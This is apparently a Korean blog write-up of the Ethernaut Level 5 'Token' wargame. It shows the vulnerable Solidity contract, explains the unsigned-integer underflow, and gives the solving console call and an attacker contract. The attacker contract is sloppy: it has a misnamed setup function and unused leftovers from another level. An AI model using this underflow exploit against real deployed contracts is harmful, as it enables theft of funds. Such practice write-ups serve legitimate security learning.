Web3/The Ethernaut

[The Ethernaut] Level 5. Token

프레딕 2025. 1. 17. 17:31
728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

초기 msg.sender의 balances는 20이 주어지고 20에서 조금이라도 커지면 통과한다.

transfer를 통해 돈을 옮길 수 있는데 여기서 underflow취약점이 터진다.

solidity 0.6.0버전 이하에선 uint256에 underflow취약점이 존재하는데

uint256는 0이하의 값을 못읽기 때문에 값이 0이하로 가버리면 uint256자료형의 최대값으로 돌아가서 값이 오히려 더 커지게 된다.

따라서 여기선 간단하게 다른 주소에 20보다 큰 값을 옮기려 하면 알아서 underflow로 인해 balances[msg.sender]값이 20보다 더 커질 것이다.

await contract.transfer('0xcB184832dD8Dc7806A867eA28220a7f8e211e710', 30)

컨트랙트 주소로 옮기도록 해줬다.

 

혹은 Remix IDE를 사용해서 다른 컨트랙트에서 가져오면 된다.

Remix에서 배포를 하면 배포 Contract가 나오는데 msg.sender는 Contract기준이므로 새 Contract에 대해 20 값을 줄 것이다.

여기서 내 지갑 주소로 옮기면 끝이다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../src/token.sol";

contract TokenSolve {
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    address player;
    address target;
    function HackLv4(address _target) public {
        target = _target;
    }

    function attack(address _to) public{
        Token(target).transfer(_to, 10);
    }
}

 

+  콘솔창에서 안하고 Remix IDE에서 내 지갑주소로 배포 시켜서 해볼려 했는데 내 지갑주소로 배포는 불가하듯 하다... 배포하면 무조건 새로운 Contract가 생겨서 Contract 주소 기준인거 같은데 헷갈림 ㅠㅠ

728x90
반응형